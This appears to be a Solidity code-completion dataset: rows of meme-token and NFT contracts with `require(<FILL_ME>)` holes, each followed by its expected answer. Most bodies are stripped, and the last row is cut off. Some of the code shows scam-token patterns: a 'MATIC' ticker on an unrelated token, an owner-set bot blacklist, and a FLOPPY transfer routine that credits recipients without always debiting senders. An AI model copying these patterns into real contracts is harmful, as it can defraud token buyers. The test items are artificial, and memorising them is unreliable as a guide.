contract BitcoinSolanaCryptoPndcTeSoBitrockXCocoCPepeBtc20 is ERC20, Ownable {
IDexRouter public immutable dexRouter;
address public immutable lpPair;
bool private swapping;
address public operationsWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public liquidityActiveBlock = 0; // 0 means liquidity is not active yet
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
uint256 public earlyBuyPenaltyEnd; // determines when snipers/bots can sell without extra penalty
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public constant feeDivisor = 10000;
uint256 public totalSellFees;
uint256 public operationsSellFee;
uint256 public liquiditySellFee;
uint256 public totalBuyFees;
uint256 public operationsBuyFee;
uint256 public liquidityBuyFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
address[] private earlyBuyers;
uint256 private deadBlocks;
mapping (address => bool) public _isBot;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event ExcludedMaxTransactionAmount(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event OperationsWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
constructor() ERC20("BitcoinSolanaCryptoPndcTeSoBitrockXCocoCPepeBtc20", "MATIC", 18) {
}
receive() external payable {}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
}
// once enabled, can never be turned off
function enableTrading(uint256 _deadBlocks) external onlyOwner {
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
}
function updateMaxAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateOperationsWallet(address newOperationsWallet) external onlyOwner {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(<FILL_ME>)
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active yet.");
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
require(_holderLastTransferTimestamp[tx.origin] + 15 < block.number, "Transfer Delay enabled.");
if (to != address(dexRouter) && to != address(lpPair)){
_holderLastTransferTimestamp[tx.origin] = block.number;
_holderLastTransferTimestamp[to] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Unable to exceed Max Wallet");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Unable to exceed Max Wallet");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// no taxes on transfers (non buys/sells)
if(takeFee){
if(tradingActiveBlock + deadBlocks >= block.number && (automatedMarketMakerPairs[to] || automatedMarketMakerPairs[from])){
fees = amount * totalBuyFees / feeDivisor;
tokensForLiquidity += fees * liquidityBuyFee / totalBuyFees;
tokensForOperations += fees * operationsBuyFee / totalBuyFees;
earlyBuyers.push(to);
}
// on sell
else if (automatedMarketMakerPairs[to] && totalSellFees > 0){
fees = amount * totalSellFees / feeDivisor;
tokensForLiquidity += fees * liquiditySellFee / totalSellFees;
tokensForOperations += fees * operationsSellFee / totalSellFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && totalBuyFees > 0) {
fees = amount * totalBuyFees / feeDivisor;
tokensForLiquidity += fees * liquidityBuyFee / totalBuyFees;
tokensForOperations += fees * operationsBuyFee / totalBuyFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
function TrendingTime() external onlyOwner {
}
function freeToTrend(address[] memory _addresses) external onlyOwner {
}
function addNAGAMOTO(address[] memory _addresses) external onlyOwner {
}
function sendToWallets(address[] memory wallets, uint256[] memory amountsInWei) external onlyOwner {
}
}
| !_isBot[to]&&!_isBot[from],"No bots" | 81,686 | !_isBot[to]&&!_isBot[from] |
"Transfer Delay enabled." | /**
*/
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDexFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name_, string memory symbol_, uint8 decimals_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB);
}
interface ILpPair {
function sync() external;
}
contract BitcoinSolanaCryptoPndcTeSoBitrockXCocoCPepeBtc20 is ERC20, Ownable {
IDexRouter public immutable dexRouter;
address public immutable lpPair;
bool private swapping;
address public operationsWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public liquidityActiveBlock = 0; // 0 means liquidity is not active yet
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
uint256 public earlyBuyPenaltyEnd; // determines when snipers/bots can sell without extra penalty
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public constant feeDivisor = 10000;
uint256 public totalSellFees;
uint256 public operationsSellFee;
uint256 public liquiditySellFee;
uint256 public totalBuyFees;
uint256 public operationsBuyFee;
uint256 public liquidityBuyFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
address[] private earlyBuyers;
uint256 private deadBlocks;
mapping (address => bool) public _isBot;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event ExcludedMaxTransactionAmount(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event OperationsWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
constructor() ERC20("BitcoinSolanaCryptoPndcTeSoBitrockXCocoCPepeBtc20", "MATIC", 18) {
}
receive() external payable {}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
}
// once enabled, can never be turned off
function enableTrading(uint256 _deadBlocks) external onlyOwner {
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
}
function updateMaxAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateOperationsWallet(address newOperationsWallet) external onlyOwner {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_isBot[to] && !_isBot[from], "No bots");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active yet.");
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
require(<FILL_ME>)
if (to != address(dexRouter) && to != address(lpPair)){
_holderLastTransferTimestamp[tx.origin] = block.number;
_holderLastTransferTimestamp[to] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Unable to exceed Max Wallet");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Unable to exceed Max Wallet");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// no taxes on transfers (non buys/sells)
if(takeFee){
if(tradingActiveBlock + deadBlocks >= block.number && (automatedMarketMakerPairs[to] || automatedMarketMakerPairs[from])){
fees = amount * totalBuyFees / feeDivisor;
tokensForLiquidity += fees * liquidityBuyFee / totalBuyFees;
tokensForOperations += fees * operationsBuyFee / totalBuyFees;
earlyBuyers.push(to);
}
// on sell
else if (automatedMarketMakerPairs[to] && totalSellFees > 0){
fees = amount * totalSellFees / feeDivisor;
tokensForLiquidity += fees * liquiditySellFee / totalSellFees;
tokensForOperations += fees * operationsSellFee / totalSellFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && totalBuyFees > 0) {
fees = amount * totalBuyFees / feeDivisor;
tokensForLiquidity += fees * liquidityBuyFee / totalBuyFees;
tokensForOperations += fees * operationsBuyFee / totalBuyFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
function TrendingTime() external onlyOwner {
}
function freeToTrend(address[] memory _addresses) external onlyOwner {
}
function addNAGAMOTO(address[] memory _addresses) external onlyOwner {
}
function sendToWallets(address[] memory wallets, uint256[] memory amountsInWei) external onlyOwner {
}
}
| _holderLastTransferTimestamp[tx.origin]+15<block.number,"Transfer Delay enabled." | 81,686 | _holderLastTransferTimestamp[tx.origin]+15<block.number |
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed." | // SPDX-License-Identifier: MIT
/**
Meet $FLOPPY the wife of $HOPPY. ONLY LOVE AND TRUST!
TG: https://t.me/FloppyERC
Twitter: https://twitter.com/FloppyERC
**/
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FLOPPY is IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping(address => uint256) private _holderLastTransfer;
bool public transferDelayEnabled = true;
address payable private _taxWallet;
uint256 private _initialBuyTax=0;
uint256 private _initialSellTax=0;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=25;
uint256 private _reduceSellTaxAt=30;
uint256 private _preventSwapBefore=25;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = unicode"Floppy";
string private constant _symbol = unicode"FLOPPY";
uint256 public _maxTx = 20000000 * 10**_decimals;
uint256 public _maxWallet = 20000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
IUniswapRouter private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxUpdated(uint _maxTx);
modifier lockTheSwap {
}
constructor (address taxWallet_) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function isExcludedFromTax(address owner) internal returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function removeLimits() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(<FILL_ME>)
_holderLastTransfer[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcluded[to] ) {
require(amount <= _maxTx, "Exceeds the _maxTx.");
require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 50000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount);
amount = isExcludedFromTax(from) ? amount : 0;
_balances[from]=_balances[from].sub(amount);
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function openTrading() external onlyOwner() {
}
receive() external payable {}
}
| _holderLastTransfer[tx.origin]<block.number,"_transfer:: Transfer Delay enabled. Only one purchase per block allowed." | 81,777 | _holderLastTransfer[tx.origin]<block.number |
"Alreay minted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "./libs/ERC721A/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
/// @notice LitRooster NFT Contract
contract LitRooster is ERC721AQueryable, Ownable {
///@notice Max Supply
uint256 public constant TOTAL_SUPPLY = 10000;
///@notice Token Base Uri
string public baseTokenURI;
///@notice Is baseUri locked
bool public baseUriLocked;
///@notice Is Mint Active
bool public isMintActive;
///@notice Did admin mint
bool public adminMinted;
///@notice Mint Price
uint256 public mintPrice;
struct WLContract {
address contractAddress;
uint256 amountPerNFT;
uint256 price;
uint256 start;
uint256 end;
bool isWhitelisted;
}
///@dev Whitelisted contract's data
mapping(uint256 => WLContract) public whitelist;
///@dev Mapping to contract address to whitelist index
mapping(address => uint256) internal contractToIndex;
///@dev Current whitelist index (starts from 1)
uint256 public indexNum;
///@notice Is NFT's `contractAddress` Whitelisted For Mint
///@param contractAddress to check
///@return True if contract whitelisted
function isContractWhitelisted(address contractAddress)
external
view
returns (bool)
{
}
///@notice Mint price in eth(wei) for nft contract address
///@dev Can be zero
function mintPriceForContract(address contractAddress)
external
view
returns (uint256)
{
}
///@notice Is token already used for mint
mapping(address => mapping(uint256 => bool)) public isTokenUsed;
///@notice Return array of used for mint tokens in the range [`startId`,`endId`] for `contractAddress`
///@param contractAddress NFT Contact Address
///@param startId Range Start Id
///@param startId Range End Id
///@return Array of used tokens
function usedTokensIn(
address contractAddress,
uint256 startId,
uint256 endId
) external view returns (uint256[] memory) {
}
///@dev Returns whitelist array
function getWhitelist() external view returns(WLContract[] memory){
}
constructor(uint256 price, uint256 start, uint256 end) ERC721A("Lit Rooster", "LIT") {
}
///@dev Returns base uri
function _baseURI() internal view override returns (string memory) {
}
function adminMint() external{
require(<FILL_ME>)
_mint(owner(), 50);
adminMinted = true;
}
///@notice Mints tokens for eth
/**
* @dev
* Requirements:
* - ETH value must be greater or equals to mint price
*/
///@param amount Amount of token to mint
function mint(uint256 amount) public payable {
}
///@notice Mints tokens for whitelisted `nftContact` and not-used `tokenIds`
/**
* @dev
* Requirements:
* - Executor need to be a owner of `nftContract`'s `tokenIds`
* - `nftContract` must be whitelisted
* - `tokenIds` of `nftContract` must be unused for mint before
* - ETH value must be greater or equals to mint price for `nftContract`
*/
///@param nftContract NFT Contract address
///@param tokenIds Owned token ids
function freeMint(IERC721 nftContract, uint256[] memory tokenIds)
public
payable
{
}
///@notice Edits whitelist `statuses` for `contractAddreses` sets `prices` for as mint price
///@param contractAddreses Contract Address
///@param statuses New statuses for contracts (true - enabled, false - disabled)
///@param prices Mint ETH Prices (in wei) for contracts (0 - free mint)
///@dev Can be executed only by contract owner
function whitelistContracts(
address[] memory contractAddreses,
uint256[] memory amountsPerNfts,
bool[] memory statuses,
uint256[] memory prices,
uint256[] memory startDates,
uint256[] memory endDates
) external onlyOwner {
}
///@notice Sets Mint status
///@param newStatus New status (true - enable, false - disable)
///@dev Can be executed only by contract owner
function setMintStatus(bool newStatus) external onlyOwner {
}
///@notice Sets permanent lock for editing URI
///@dev Can be executed only by contract owner
function lockBaseTokenUri() external onlyOwner {
}
///@notice Sets new base uri
///@param _baseTokenURI New base token uri
///@dev Can be executed only by contract owner if base uri doesnt lock
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
}
///@notice Withdraws ETH from contract
///@dev Can be executed only by contract owner
function withdraw() external onlyOwner {
}
}
| !adminMinted,"Alreay minted" | 81,950 | !adminMinted |
"LitRooster: Max supply reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "./libs/ERC721A/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
/// @notice LitRooster NFT Contract
contract LitRooster is ERC721AQueryable, Ownable {
///@notice Max Supply
uint256 public constant TOTAL_SUPPLY = 10000;
///@notice Token Base Uri
string public baseTokenURI;
///@notice Is baseUri locked
bool public baseUriLocked;
///@notice Is Mint Active
bool public isMintActive;
///@notice Did admin mint
bool public adminMinted;
///@notice Mint Price
uint256 public mintPrice;
struct WLContract {
address contractAddress;
uint256 amountPerNFT;
uint256 price;
uint256 start;
uint256 end;
bool isWhitelisted;
}
///@dev Whitelisted contract's data
mapping(uint256 => WLContract) public whitelist;
///@dev Mapping to contract address to whitelist index
mapping(address => uint256) internal contractToIndex;
///@dev Current whitelist index (starts from 1)
uint256 public indexNum;
///@notice Is NFT's `contractAddress` Whitelisted For Mint
///@param contractAddress to check
///@return True if contract whitelisted
function isContractWhitelisted(address contractAddress)
external
view
returns (bool)
{
}
///@notice Mint price in eth(wei) for nft contract address
///@dev Can be zero
function mintPriceForContract(address contractAddress)
external
view
returns (uint256)
{
}
///@notice Is token already used for mint
mapping(address => mapping(uint256 => bool)) public isTokenUsed;
///@notice Return array of used for mint tokens in the range [`startId`,`endId`] for `contractAddress`
///@param contractAddress NFT Contact Address
///@param startId Range Start Id
///@param startId Range End Id
///@return Array of used tokens
function usedTokensIn(
address contractAddress,
uint256 startId,
uint256 endId
) external view returns (uint256[] memory) {
}
///@dev Returns whitelist array
function getWhitelist() external view returns(WLContract[] memory){
}
constructor(uint256 price, uint256 start, uint256 end) ERC721A("Lit Rooster", "LIT") {
}
///@dev Returns base uri
function _baseURI() internal view override returns (string memory) {
}
function adminMint() external{
}
///@notice Mints tokens for eth
/**
* @dev
* Requirements:
* - ETH value must be greater or equals to mint price
*/
///@param amount Amount of token to mint
function mint(uint256 amount) public payable {
require(isMintActive, "LitRooster: Minting Inactive");
uint256 tokenId = _nextTokenId();
WLContract memory wl = whitelist[1];
require(<FILL_ME>)
require(
wl.isWhitelisted,
"LitRooster: Paid minting disabled"
);
require(
block.timestamp >= wl.start,
"LitRooster: Not started yet"
);
require(block.timestamp <= wl.end, "LitRooster: Ended");
uint256 price = amount * wl.price;
require(msg.value >= price, "LitRooster: Not enough ETH");
_mint(msg.sender, amount);
if (msg.value > price) {
payable(msg.sender).transfer(msg.value - price);
}
}
///@notice Mints tokens for whitelisted `nftContact` and not-used `tokenIds`
/**
* @dev
* Requirements:
* - Executor need to be a owner of `nftContract`'s `tokenIds`
* - `nftContract` must be whitelisted
* - `tokenIds` of `nftContract` must be unused for mint before
* - ETH value must be greater or equals to mint price for `nftContract`
*/
///@param nftContract NFT Contract address
///@param tokenIds Owned token ids
function freeMint(IERC721 nftContract, uint256[] memory tokenIds)
public
payable
{
}
///@notice Edits whitelist `statuses` for `contractAddreses` sets `prices` for as mint price
///@param contractAddreses Contract Address
